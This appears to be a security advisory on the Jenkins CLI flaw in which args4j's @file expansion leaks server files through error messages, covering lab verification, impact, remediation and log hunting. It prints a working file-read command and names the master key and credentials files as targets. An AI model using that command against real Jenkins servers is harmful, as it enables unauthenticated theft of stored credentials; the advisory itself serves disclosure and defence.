Summary
Jenkins' built-in command line interface parses arguments with the args4j library. That library's @file feature expands an argument beginning with @ into the contents of the named file.
Jenkins never disabled the feature, so anyone who can reach the CLI can read arbitrary files from the server through error messages. In a default installation anonymous users can reach the CLI, which makes the issue unauthenticated.
Advisory details
Root cause: a convenience feature left on
args4j offers @ expansion so that long argument lists can be read from a file, and the feature is enabled by default. Jenkins hands user-supplied arguments straight to that parser, turning the feature into a file read primitive.
The content read back is reflected in the “no argument is allowed” error message, which is what lets an attacker harvest the first lines of files one request at a time.
Harmless verification
analyst@ubuntu:~/labs/jenkins$ curl -s -I http://ci.lab.local/login | grep -i '^x-jenkins' X-Jenkins: 2.441 X-Jenkins-Session: 5c0a2b11 # below 2.442 — affected version
Figure 1 — Reading the Jenkins version from a response header
For verification we use a file whose contents are public anyway; the point is only to prove the read capability.
analyst@ubuntu:~/labs/jenkins$ java -jar jenkins-cli.jar -s http://ci.lab.local/ who-am-i '@/etc/hostname' ERROR: No argument is allowed: ci-build-01 java -jar jenkins-cli.jar who-am-i # the error message reflected the file contents # the same path could have read credentials.xml or master.key
Figure 2 — Proving the read capability with a harmless file
Impact chain
Readable files include secrets/master.key, secrets/hudson.util.Secret and credentials.xml. Together those three allow every credential stored in Jenkins — cloud keys, repository tokens, deployment passwords — to be decrypted, and the CI/CD pipeline then leads into production.
Remediation
analyst@ubuntu:~/labs/jenkins$ sudo apt install --only-upgrade jenkins && java -jar jenkins-cli.jar -s http://ci.lab.local/ who-am-i '@/etc/hostname' Setting up jenkins (2.442) ... ERROR: No argument is allowed: @/etc/hostname # the argument is no longer expanded — no file contents leak
Figure 3 — Expansion disabled after the upgrade
- Upgrade Jenkins to 2.442 / LTS 2.426.3 or later.
- If you cannot upgrade immediately, disable the CLI entirely.
- Remove anonymous read permission and restrict CLI access at the network layer.
- If the instance was internet-facing before patching, rotate every credential stored in Jenkins.
Log hunting
analyst@ubuntu:/var/log/jenkins$ grep -ohE '"(GET|POST) /cli[^"]*' jenkins.log* | sort | uniq -c | sort -rn | head -n 3 642 "POST /cli?remoting=false 58 "GET /cli # heavy traffic to the CLI endpoint — automated scanning
Figure 4 — Counting requests to the CLI endpoint
Conclusion
CI/CD systems concentrate the keys to production in one place, which makes them a high-value target. Build servers should not be internet-facing, credentials belong in an external vault, and access should follow least privilege.
Sources
Test it in your own environment
We test your CI/CD pipeline along the access chain that runs from build servers into production.